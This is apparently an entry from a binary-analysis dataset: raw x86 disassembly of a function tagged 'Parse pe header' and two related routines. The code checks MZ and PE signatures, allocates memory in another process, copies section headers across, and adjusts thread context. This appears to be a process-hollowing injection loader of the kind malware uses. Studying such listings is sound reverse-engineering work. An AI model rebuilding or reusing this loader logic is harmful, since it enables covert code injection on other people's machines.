Function at 0x42c580
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x401a96
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x401a50
mov edx, dword [ebp + 8]
mov esi, dword [fcn.004011b0]
xor edi, edi
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x30], edi
call esi
mov edx, dword [ebp + 0xc]
lea ecx, [ebp - 0x14]
call esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x28], 0x80020004
push eax
mov dword [ebp - 0x30], 0xa
call dword [fcn.0040118c]
lea ecx, [ebp - 0x30]
mov esi, eax
call dword [fcn.00401028]
mov ecx, dword [ebp - 0x14]
push ecx
push esi
push 0xffffffffffffffff
push 0x20
call dword [fcn.00401188]
push edi
push esi
call dword [fcn.00401190]
sub eax, 1
lea edx, [ebp - 0x1c]
jo 0x42c57a
push eax
push 1
push 0x11
push edx
push 1
push 0x80
call dword [fcn.00401114]
add esp, 0x1c
lea eax, [ebp - 0x1c]
push esi
push eax
push 0x404a70
call dword [fcn.0040116c]
push esi
call dword [fcn.004010d4]
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x1c]
push ecx
push edx
call 0x42c580
push 0x40e967
jmp 0x42c54a
mov esi, dword [fcn.00401244]
lea ecx, [ebp - 0x14]
call esi
lea eax, [ebp - 0x1c]
push eax
push 0
call dword [fcn.00401074]
lea ecx, [ebp - 0x20]
call esi
ret
call dword [fcn.00401184]
push ebp
mov ebp, esp
sub esp, 8
push 0x401a96
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3ac
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x401a60
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x58]
mov edx, dword [ebp + 8]
rep stosd dword es:[edi], eax
mov ecx, 0x3e
lea edi, [ebp - 0x154]
rep stosd dword es:[edi], eax
mov ecx, 0x33
lea edi, [ebp - 0x228]
rep stosd dword es:[edi], eax
mov ecx, 0x11
lea edi, [ebp - 0x270]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x284], eax
mov ecx, 0xc
mov dword [ebp - 0x280], eax
lea edi, [ebp - 0x2b4]
mov dword [ebp - 0x27c], eax
xor ebx, ebx
rep stosd dword es:[edi], eax
mov ecx, 0x11
lea edi, [ebp - 0x388]
rep stosd dword es:[edi], eax
mov ecx, 0xa
lea edi, [ebp - 0x3b0]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x158], ebx
mov dword [ebp - 0x15c], ebx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x274], ebx
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x2b8], ebx
mov dword [ebp - 0x2bc], ebx
mov dword [ebp - 0x2cc], ebx
mov dword [ebp - 0x2dc], ebx
mov dword [ebp - 0x2ec], ebx
mov dword [ebp - 0x2fc], ebx
mov dword [ebp - 0x30c], ebx
mov dword [ebp - 0x31c], ebx
mov dword [ebp - 0x340], ebx
call dword [fcn.004011b0]
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x2b8]
mov edx, dword [ecx]
push edx
push eax
call dword [fcn.004011e4]
mov ecx, dword [ebp - 0x2b8]
cmp ecx, ebx
je 0x42c6bf
cmp word [ecx], 1
jne 0x42c6bf
mov esi, dword [ecx + 0x14]
mov eax, dword [ecx + 0x10]
neg esi
cmp esi, eax
jb 0x42c6bb
call dword [fcn.004010e0]
mov ecx, dword [ebp - 0x2b8]
mov eax, esi
jmp 0x42c6cb
call dword [fcn.004010e0]
mov ecx, dword [ebp - 0x2b8]
mov ecx, dword [ecx + 0xc]
push 0x40
add ecx, eax
lea edx, [ebp - 0x58]
push ecx
push edx
call fcn.00422c00
mov edi, dword [fcn.00401064]
call edi
mov esi, dword [0x401234]
lea eax, [ebp - 0x2b8]
push eax
call esi
cmp word [ebp - 0x58], 0x5a4d
je 0x42c755
mov esi, dword [fcn.004011f4]
mov ecx, 0xa
mov eax, 0x80020004
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x2ec], ecx
mov edi, 8
lea edx, [ebp - 0x31c]
lea ecx, [ebp - 0x2dc]
mov dword [ebp - 0x2f4], eax
mov dword [ebp - 0x2e4], eax
mov dword [ebp - 0x314], 0x405ddc
mov dword [ebp - 0x31c], edi
call esi
mov dword [ebp - 0x304], 0x405da8
jmp 0x42c834
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x2b8]
mov ecx, dword [eax]
push ecx
push edx
call dword [fcn.004011e4]
mov ecx, dword [ebp - 0x2b8]
cmp ecx, ebx
je 0x42c7a1
cmp word [ecx], 1
jne 0x42c7a1
mov eax, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x14]
sub eax, edx
mov edx, dword [ecx + 0x10]
cmp eax, edx
mov dword [ebp - 0x344], eax
jb 0x42c7ad
call dword [fcn.004010e0]
mov ecx, dword [ebp - 0x2b8]
mov eax, dword [ebp - 0x344]
jmp 0x42c7ad
call dword [fcn.004010e0]
mov ecx, dword [ebp - 0x2b8]
mov ecx, dword [ecx + 0xc]
push 0xf8
add ecx, eax
lea edx, [ebp - 0x154]
push ecx
push edx
call fcn.00422c00
call edi
lea eax, [ebp - 0x2b8]
push eax
call esi
cmp dword [ebp - 0x154], 0x4550
je 0x42c89d
mov esi, dword [fcn.004011f4]
mov ecx, 0xa
mov eax, 0x80020004
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x2ec], ecx
mov edi, 8
lea edx, [ebp - 0x31c]
lea ecx, [ebp - 0x2dc]
mov dword [ebp - 0x2f4], eax
mov dword [ebp - 0x2e4], eax
mov dword [ebp - 0x314], 0x405ddc
mov dword [ebp - 0x31c], edi
call esi
mov dword [ebp - 0x304], 0x405e00
lea edx, [ebp - 0x30c]
lea ecx, [ebp - 0x2cc]
mov dword [ebp - 0x30c], edi
call esi
lea ecx, [ebp - 0x2fc]
lea edx, [ebp - 0x2ec]
push ecx
lea eax, [ebp - 0x2dc]
push edx
push eax
lea ecx, [ebp - 0x2cc]
push 0x10
push ecx
call dword [fcn.00401090]
lea edx, [ebp - 0x2fc]
lea eax, [ebp - 0x2ec]
push edx
lea ecx, [ebp - 0x2dc]
push eax
lea edx, [ebp - 0x2cc]
push ecx
push edx
push 4
call dword [fcn.00401034]
add esp, 0x14
push 0x40f22c
jmp 0x42cdfb
lea eax, [ebp - 0x284]
lea ecx, [ebp - 0x270]
push eax
lea edx, [ebp - 0x388]
push ecx
push edx
push 0x40499c
mov dword [ebp - 0x270], 0x44
call dword [fcn.00401118]
push eax
mov eax, dword [ebp - 0x158]
push ebx
push ebx
push 4
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x2bc]
push eax
push ecx
call dword [fcn.004011f0]
push eax
push ebx
call fcn.004225e0
mov dword [ebp - 0x340], eax
call edi
lea edx, [ebp - 0x388]
lea eax, [ebp - 0x270]
push edx
push eax
push 0x40499c
call dword [fcn.0040104c]
mov ecx, dword [ebp - 0x2bc]
lea edx, [ebp - 0x158]
push ecx
push edx
call dword [fcn.00401140]
mov edx, dword [ebp - 0x340]
xor eax, eax
cmp edx, ebx
lea ecx, [ebp - 0x2bc]
sete al
neg eax
mov word [ebp - 0x344], ax
call dword [fcn.00401244]
lea ecx, [ebp - 0x388]
push ecx
push 0x40499c
call dword [fcn.00401210]
cmp word [ebp - 0x344], bx
je 0x42ca09
mov ecx, 0xa
mov eax, 0x80020004
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x2dc], ecx
lea edx, [ebp - 0x30c]
lea ecx, [ebp - 0x2cc]
mov dword [ebp - 0x2f4], eax
mov dword [ebp - 0x2e4], eax
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 0x304], 0x405e34
mov dword [ebp - 0x30c], 8
call dword [fcn.004011f4]
lea edx, [ebp - 0x2fc]
lea eax, [ebp - 0x2ec]
push edx
lea ecx, [ebp - 0x2dc]
push eax
push ecx
lea edx, [ebp - 0x2cc]
push 0x10
push edx
call dword [fcn.00401090]
lea eax, [ebp - 0x2fc]
lea ecx, [ebp - 0x2ec]
push eax
lea edx, [ebp - 0x2dc]
push ecx
lea eax, [ebp - 0x2cc]
push edx
push eax
push 4
call dword [fcn.00401034]
add esp, 0x14
push 0x40f22c
jmp 0x42cdfb
mov edx, dword [ebp - 0x280]
lea ecx, [ebp - 0x228]
push ecx
push edx
mov dword [ebp - 0x228], 0x10002
call fcn.00422adc
mov dword [ebp - 0x340], eax
call edi
cmp dword [ebp - 0x340], ebx
je 0x42cace
mov edx, dword [ebp - 0x184]
lea eax, [ebp - 0x340]
push eax
mov eax, dword [ebp - 0x284]
lea ecx, [ebp - 0x15c]
add edx, 8
push 4
push ecx
jo 0x42ce45
push edx
push eax
mov dword [ebp - 0x340], ebx
call fcn.004229fc
call edi
mov eax, dword [ebp - 0x15c]
cmp eax, ebx
je 0x42cace
mov ecx, dword [ebp - 0x284]
push eax
push ecx
call fcn.0042294c
mov dword [ebp - 0x340], eax
call edi
cmp dword [ebp - 0x340], ebx
jne 0x42cace
mov edx, dword [ebp - 0x104]
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x284]
push 4
push 0x3000
push edx
push eax
push ecx
call fcn.00422a44
mov dword [ebp - 0x340], eax
call edi
mov eax, dword [ebp - 0x340]
cmp eax, ebx
mov dword [ebp - 0x22c], eax
jne 0x42caf4
mov edx, dword [ebp - 0x280]
push edx
call fcn.004219b4
call edi
mov eax, dword [ebp - 0x284]
push eax
call fcn.004219b4
call edi
push 0x40f22c
jmp 0x42cdfb
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x2b8]
mov edx, dword [ecx]
push edx
push eax
call dword [fcn.004011e4]
mov ecx, dword [ebp - 0x2b8]
cmp ecx, ebx
je 0x42cb3d
cmp word [ecx], 1
jne 0x42cb3d
mov eax, dword [ecx + 0x14]
mov edx, dword [ecx + 0x10]
neg eax
cmp eax, edx
mov dword [ebp - 0x344], eax
jb 0x42cb49
call dword [fcn.004010e0]
mov ecx, dword [ebp - 0x2b8]
mov eax, dword [ebp - 0x344]
jmp 0x42cb49
call dword [fcn.004010e0]
mov ecx, dword [ebp - 0x2b8]
mov ecx, dword [ecx + 0xc]
lea edx, [ebp - 0x5c]
push edx
mov edx, dword [ebp - 0x100]
push edx
mov edx, dword [ebp - 0x22c]
add ecx, eax
mov eax, dword [ebp - 0x284]
push ecx
push edx
push eax
call fcn.00422998
call edi
lea ecx, [ebp - 0x2b8]
push ecx
call esi
mov eax, dword [ebp - 0x1c]
mov dx, word [ebp - 0x14e]
add eax, 0xf8
jo 0x42ce45
sub dx, 1
mov dword [ebp - 0x14], eax
jo 0x42ce45
movsx eax, dx
mov dword [ebp - 0x3b8], eax
cmp ebx, dword [ebp - 0x3b8]
jg 0x42cd4b
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x2b8]
mov edx, dword [ecx]
push edx
push eax
call dword [fcn.004011e4]
mov ecx, dword [ebp - 0x2b8]
test ecx, ecx
je 0x42cc0a
cmp word [ecx], 1
jne 0x42cc0a
mov esi, ebx
mov eax, dword [ebp - 0x14]
imul esi, esi, 0x28
mov edx, dword [ecx + 0x14]
jo 0x42ce45
add esi, eax
mov eax, dword [ecx + 0x10]
jo 0x42ce45
sub esi, edx
cmp esi, eax
jb 0x42cc00
call dword [fcn.004010e0]
mov ecx, dword [ebp - 0x2b8]
mov eax, esi
mov esi, dword [0x401234]
jmp 0x42cc16
call dword [fcn.004010e0]
mov ecx, dword [ebp - 0x2b8]
mov ecx, dword [ecx + 0xc]
push 0x28
add ecx, eax
lea edx, [ebp - 0x2b4]
push ecx
lea eax, [ebp - 0x3b0]
push edx
push eax
push 0x404ca8
call dword [fcn.00401118]
push eax
call fcn.00422c00
call edi
lea ecx, [ebp - 0x3b0]
lea edx, [ebp - 0x2b4]
push ecx
push edx
push 0x404ca8
call dword [fcn.0040104c]
lea eax, [ebp - 0x2b8]
push eax
call esi
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x2b8]
mov edx, dword [ecx]
push edx
push eax
call dword [fcn.004011e4]
mov ecx, dword [ebp - 0x2b8]
test ecx, ecx
je 0x42ccac
cmp word [ecx], 1
jne 0x42ccac
mov esi, dword [ebp - 0x298]
mov edx, dword [ecx + 0x14]
mov eax, dword [ecx + 0x10]
sub esi, edx
cmp esi, eax
jb 0x42cca2
call dword [fcn.004010e0]
mov ecx, dword [ebp - 0x2b8]
mov eax, esi
mov esi, dword [0x401234]
jmp 0x42ccb8
call dword [fcn.004010e0]
mov ecx, dword [ebp - 0x2b8]
mov ecx, dword [ecx + 0xc]
lea edx, [ebp - 0x5c]
push edx
mov edx, dword [ebp - 0x29c]
add ecx, eax
mov eax, dword [ebp - 0x284]
push edx
mov edx, dword [ebp - 0x2a0]
push ecx
mov ecx, dword [ebp - 0x22c]
add edx, ecx
jo 0x42ce45
push edx
push eax
call fcn.00422998
call edi
lea ecx, [ebp - 0x2b8]
push ecx
call esi
mov edx, dword [ebp - 0x288]
push edx
call 0x42ce50
mov edx, dword [ebp - 0x2a4]
lea ecx, [ebp - 0x15c]
push ecx
mov ecx, dword [ebp - 0x284]
push eax
mov dword [ebp - 0x340], eax
mov eax, dword [ebp - 0x2a0]
push edx
add eax, dword [ebp - 0x22c]
jo 0x42ce45
push eax
push ecx
call fcn.00422a90
call edi
mov eax, 1
add eax, ebx
jo 0x42ce45
mov ebx, eax
jmp 0x42cba3
mov ecx, dword [ebp - 0x184]
lea edx, [ebp - 0x5c]
push edx
mov edx, dword [ebp - 0x284]
lea eax, [ebp - 0x22c]
add ecx, 8
push 4
push eax
jo 0x42ce45
push ecx
push edx
call fcn.00422998
call edi
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x22c]
mov edx, dword [ebp - 0x280]
add eax, ecx
lea ecx, [ebp - 0x228]
push ecx
push edx
jo 0x42ce45
mov dword [ebp - 0x178], eax
call fcn.00422b28
call edi
mov eax, dword [ebp - 0x280]
push eax
call fcn.00422bb8
call edi
push 0x40f22c
jmp 0x42cdfb
lea eax, [ebp - 0x388]
push eax
push 0x40499c
call dword [fcn.00401210]
lea ecx, [ebp - 0x158]
call dword [fcn.00401244]
lea ecx, [ebp - 0x270]
push ecx
push 0x40499c
call dword [fcn.00401060]
ret
call dword [fcn.00401184]
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 8
push 0x401a96
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xb0
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x401a70
xor edi, edi
lea eax, [ebp - 0x38]
push edi
push 7
push 1
push edi
push eax
push 0x10
push 0x880
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x88], edi
mov dword [ebp - 0x98], edi
mov dword [ebp - 0xa8], edi
mov dword [ebp - 0xb8], edi
call dword [fcn.00401114]
mov eax, dword [ebp - 0x38]
mov ebx, 3
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x48], ebx
mov ecx, dword [eax + 0x14]
add esp, 0x1c
shl ecx, 4
mov esi, ecx
mov ecx, dword [eax + 0xc]
sub ecx, esi
mov esi, dword [0x401018]
lea edx, [ebp - 0x48]
call esi
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x50], 0x10
mov dword [ebp - 0x58], ebx
lea edx, [ebp - 0x58]
mov ecx, dword [eax + 0x14]
shl ecx, 4
mov dword [ebp - 0xc0], ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xc0]
sub ecx, eax
add ecx, 0x10
call esi
mov eax, dword [ebp - 0x38]
mov ecx, 2
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x68], ebx
sub ecx, dword [eax + 0x14]
lea edx, [ebp - 0x68]
shl ecx, 4
add ecx, dword [eax + 0xc]
call esi
mov eax, dword [ebp - 0x38]
mov ecx, ebx
mov dword [ebp - 0x70], 0x20
mov dword [ebp - 0x78], ebx
sub ecx, dword [eax + 0x14]
lea edx, [ebp - 0x78]
shl ecx, 4
add ecx, dword [eax + 0xc]
call esi
mov eax, dword [ebp - 0x38]
mov ecx, 4
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x88], ebx
sub ecx, dword [eax + 0x14]
lea edx, [ebp - 0x88]
shl ecx, 4
add ecx, dword [eax + 0xc]
call esi
mov dword [ebp - 0x90], 0x40
mov dword [ebp - 0x98], ebx
lea edx, [ebp - 0x98]
mov eax, dword [ebp - 0x38]
mov ecx, 5
sub ecx, dword [eax + 0x14]
shl ecx, 4
add ecx, dword [eax + 0xc]
call esi
mov eax, dword [ebp - 0x38]
mov ecx, 6
mov dword [ebp - 0xa0], 4
mov dword [ebp - 0xa8], ebx
sub ecx, dword [eax + 0x14]
lea edx, [ebp - 0xa8]
shl ecx, 4
add ecx, dword [eax + 0xc]
call esi
mov eax, dword [ebp - 0x38]
mov ecx, 7
mov dword [ebp - 0xb0], 0x40
mov dword [ebp - 0xb8], ebx
sub ecx, dword [eax + 0x14]
lea edx, [ebp - 0xb8]
shl ecx, 4
add ecx, dword [eax + 0xc]
call esi
lea ecx, [ebp - 0x38]
lea edx, [ebp - 0x34]
push ecx
push edx
call dword [fcn.00401124]
lea eax, [ebp - 0x38]
push eax
push edi
call dword [fcn.004010c0]
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x20]
call esi
mov ecx, dword [ebp + 8]
push 0x1d
push ecx
call fcn.0042d0a0
mov ecx, dword [ebp - 0x44]
sub esp, 0x10
mov edx, esp
mov dword [ebp - 0x40], eax
push 1
mov dword [ebp - 0x48], ebx
mov dword [edx], ebx
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x20]
push ecx
mov dword [edx + 8], eax
mov eax, dword [ebp - 0x3c]
mov dword [edx + 0xc], eax
lea edx, [ebp - 0x34]
push edx
call dword [fcn.004010ac]
add esp, 0x1c
push eax
call dword [fcn.004011dc]
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x24], eax
call dword [fcn.00401028]
push 0x40f486
jmp 0x42d07c
lea ecx, [ebp - 0x20]
call dword [fcn.00401028]
ret